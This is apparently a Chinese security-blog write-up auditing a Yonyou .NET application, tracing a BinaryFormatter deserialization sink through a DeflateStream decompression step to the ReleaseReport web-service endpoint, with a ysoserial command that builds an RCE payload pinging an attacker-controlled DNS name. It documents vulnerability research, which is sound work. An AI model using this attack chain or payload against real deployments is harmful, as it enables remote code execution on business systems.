古法审计-用友BinaryFormatter反序列化实战"

admin 2026-10-20 07:34:31 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

cover_image

古法审计-用友BinaryFormatter反序列化实战

原创

玛卡巴卡
玛卡巴卡

水刃安全

2026年7月8日 15:02
四川

在小说阅读器读本章

去阅读

免责声明

由于传播、利用本公众号水刃安全所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号水刃安全及作者不为此承担任何责任,一旦造成后果请自行承担!本篇文章只做安全分析使用。

前言

ai代码审计固然强大,但是我们依旧要夯实基础,回归本质。摆烂玛卡巴卡限时回归。

BinaryFormatter反序列化Sink点

搜索Deserialize

定位到

Portal\bin\UFSoft.UBF.Report.Office.Common\Common\ExcelReport.cs

public static ExcelReport FromBytes(byte[] sourceStream){ExcelReport excelReport = null;if (sourceStream != null)\t{\t}MemoryStream memoryStream = new MemoryStream();IFormatter formatter = new BinaryFormatter();try\t{byte[] array = CompressService.Decompress(sourceStream);\t\tmemoryStream.Write(array, 0, array.Length);\t\tmemoryStream.Position = 0L;\t\texcelReport = (ExcelReport)formatter.Deserialize(memoryStream);\t\tmemoryStream.Close();\t}catch (Exception ex)\t{throw ex;\t}return excelReport;}

分析代码

byte[] array = CompressService.Decompress(sourceStream);

//这里执行了一个解压操作,然后才传到了

excelReport = (ExcelReport)formatter.Deserialize(memoryStream);

//这是终点执行了反序列化操作造成了rce

猜想GZipStream解压失败

最开始我们偷懒直接惯性思维以为使用了GZipStream解压,发现失败了

老老实实去找解压方法

Portal\bin\UFSoft.UBF.MD.Model\MD\ReportModel\CompressService.cs

找到了解压代码

using System;using System.IO;using System.IO.Compression;
namespace UFSoft.UBF.MD.ReportModel{// Token: 0x020000B2 RID: 178public class CompressService\t{// Token: 0x06000836 RID: 2102 RVA: 0x0000E78C File Offset: 0x0000C98Cpublic static byte[] Compress(byte[] source)\t\t{\t\t\tMemoryStream memoryStream = new MemoryStream();\t\t\tDeflateStream deflateStream = new DeflateStream(memoryStream, CompressionMode.Compress, true);\t\t\tdeflateStream.Write(source, 0, source.Length);\t\t\tdeflateStream.Close();\t\t\tmemoryStream.Position = 0L;byte[] array = new byte[memoryStream.Length];\t\t\tmemoryStream.Read(array, 0, (int)memoryStream.Length);return array;\t\t}
// Token: 0x06000837 RID: 2103 RVA: 0x0000E7E8 File Offset: 0x0000C9E8public static byte[] Decompress(byte[] source)//找到方法\t\t{\t\t\tMemoryStream memoryStream = new MemoryStream(source);\t\t\tDeflateStream deflateStream = new DeflateStream(memoryStream, CompressionMode.Decompress);//发现使用DeflateStream而非GZipStream\t\t\tMemoryStream memoryStream2 = new MemoryStream();for (;;)\t\t\t{byte[] array = new byte[10000];int num = deflateStream.Read(array, 0, 10000);if (num == 0)\t\t\t\t{break;\t\t\t\t}\t\t\t\tmemoryStream2.Write(array, 0, num);\t\t\t}\t\t\tmemoryStream2.Position = 0L;byte[] array2 = new byte[memoryStream2.Length];\t\t\tmemoryStream2.Read(array2, 0, (int)memoryStream2.Length);return array2;\t\t}\t}}

发现使用DeflateStream而非GZipStream

flateStream deflateStream = new DeflateStream(memoryStream, CompressionMode.Decompress);//发现使用DeflateStream而非GZipStream

搜索ExcelReport.FromBytes谁用了

定位

Portal\bin\UFSoft.UBF.Report.WebService\OfficeReportCommonService.cs

public string ReleaseReport(string context, byte[] excelReportSolution){this.SetLoginContext(context);\tCreateFolderResult createFolderResult = new CreateFolderResult();\tstring text;if (excelReportSolution == null)\t{\t\tcreateFolderResult.m_ok = false;\t\tcreateFolderResult.m_message = \"没有报表模型...\";\t\ttext = createFolderResult.ToString();\t}else if (this.m_loginContext == null)\t{\t\tcreateFolderResult.m_ok = false;\t\tcreateFolderResult.m_message = \"服务器未接收到客户端上下文...\";\t\ttext = createFolderResult.ToString();\t}else\t{\t\tExcelReport excelReport = ExcelReport.FromBytes(excelReportSolution);//这调用了ExcelReport.FromBytes,入口确定if (excelReport == null)\t\t{\t\t\tcreateFolderResult.m_ok = false;\t\t\tcreateFolderResult.m_message = \"无法恢复Excel报表对象,转换失败...\";\t\t\ttext = createFolderResult.ToString();\t\t}else\t\t{\t\t\tOBAReportModelHelper obareportModelHelper = OBAReportModelHelper.Instance(GlobalParametersCreater.Instance(OfficeReportCommonService.GetSystemPath(), this.m_loginContext.CultureID), this.GetConnectionString(this.m_loginContext.CompanyID));\t\t\tReport report = obareportModelHelper.ExcelReportToU9Report(excelReport);\t\t\tIReportMDWriter writer = ReportMDService.GetInstance(this.GetConnectionString(this.m_loginContext.CompanyID), this.m_loginContext.CultureID).GetWriter();\t\t\tIReportContent reportContent = new ReportContent();\t\t\treportContent.State = 1;if (excelReport.ReportID == \"\")\t\t\t{\t\t\t\treportContent.ID = Guid.NewGuid().ToString();\t\t\t}else\t\t\t{\t\t\t\treportContent.ID = excelReport.ReportID;\t\t\t}\t\t\treportContent.CreateBy = this.m_loginContext.UserName;\t\t\treportContent.CreateDate = DateTime.Now;\t\t\treportContent.ModifyDate = DateTime.Now;\t\t\treportContent.Discription = excelReport.ReportLabel;\t\t\treportContent.Name = excelReport.ReportName;\t\t\treportContent.Type = 1;\t\t\treportContent.UserDefine = true;\t\t\treportContent.Visible = true;\t\t\treportContent.Parent = excelReport.ParentFolderID;\t\t\treportContent.ReportTemplates.Add(this.CreateReportTemplate(excelReport, report, this.m_loginContext.CultureID, this.m_loginContext.UserName, reportContent.ID));if (excelReport.ParentFolderID == \"\")\t\t\t{\t\t\t\texcelReport.ParentFolderID = RootCatalogManager.GetInstance().ReportRootCatalogID;\t\t\t}\t\t\tcreateFolderResult.m_ok = writer.SaveReportContent(reportContent, excelReport.ParentFolderID);\t\t\tcreateFolderResult.ReportElement = new ReportElement();\t\t\tcreateFolderResult.ReportElement.ID = reportContent.ID;\t\t\tcreateFolderResult.ReportElement.Name = reportContent.Name;\t\t\tcreateFolderResult.ReportElement.System = \"1\";\t\t\tcreateFolderResult.ReportElement.Type = \"1\";\t\t\tcreateFolderResult.ReportElement.Description = reportContent.Discription;\t\t\tcreateFolderResult.ReportElement.CreateBy = reportContent.CreateBy;\t\t\ttext = createFolderResult.ToString();\t\t}\t}return text;}
ExcelReport excelReport = ExcelReport.FromBytes(excelReportSolution);//这调用了ExcelReport.FromBytes,入口确定

搜索谁引用了

UFSoft.UBF.Report.WebService.OfficeReportCommonService

找到引用的asmx

到此为止完成攻击链闭环

攻击链梳理总结

1. 攻击者 → HTTP请求 → OfficeReportCommonService.asmx/ReleaseReport2. ReleaseReport方法接收 byte[] excelReportSolution3. 调用 ExcelReport.FromBytes(excelReportSolution)4. FromBytes内部:CompressService.Decompress DeflateStream解压5. BinaryFormatter.Deserialize 反序列化6. 恶意gadget链触发 →返回包500 代码执行(如果是302就是做了鉴权被重定向到登录页面了)

ysoserial生成恶意payload验证

ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c \"ping -n 1 恶意dns\" -o raw > payload.bin

poc


古法审计-用友BinaryFormatter反序列化实战" 网络安全文章

古法审计-用友BinaryFormatter反序列化实战"

本文详细分析了用友软件中BinaryFormatter反序列化漏洞的审计过程。通过代码审计定位到ExcelReport.FromBytes方法中的反序列化Sink点,并发现其使用DeflateStream而非GZipStream进行解压。攻击链从OfficeReportCommonService.asmx的ReleaseReport接口接收恶意数据,经解压后触发反序列化导致远程代码执行。文章提供了使用ysoserial生成payload的验证方法,并给出了完整的攻击链总结。
【重要通知】EduSrc邀请码领取渠道与小程序上线的通知" 网络安全文章

【重要通知】EduSrc邀请码领取渠道与小程序上线的通知"

该文档为隼目安全公众号发布的EduSrc邀请码领取渠道通知。核心内容为SumSafe微信小程序上线,并提供了EduSrc邀请码的两种领取方式:通过官网sumsafe.org.cn注册后领取,或通过微信小程序注册领取。EduSrc是教育行业漏洞响应平台,安全研究人员可提交漏洞获得奖励。文档提供了具体的操作步骤和入口指引。
Claude的J-space工作区详解:从J-space、JacobianLens到隐藏意图审计" 网络安全文章

Claude的J-space工作区详解:从J-space、JacobianLens到隐藏意图审计"

Anthropic于2026年7月6日发布论文,揭示语言模型内部存在一个名为J-space的特权表征区,该区域容量受限、可读可控,主要出现在中间层,承载抽象概念与中间推理。JacobianLens作为主要读出方法,可将内部概念方向映射到词表。该发现将AI安全审计从外部输出扩展到内部工作区,使输出合规与内部判断分离、提示注入识别、评估感知与部署漂移等成为可测问题。对Agent系统而言,记忆评估需从命中率扩展到激活率,高风险动作前应增加工作区塑形步骤。当前该技术仍处于研究阶段,但已为隐藏目标审计、提示注入识别
评论:0   参与:  0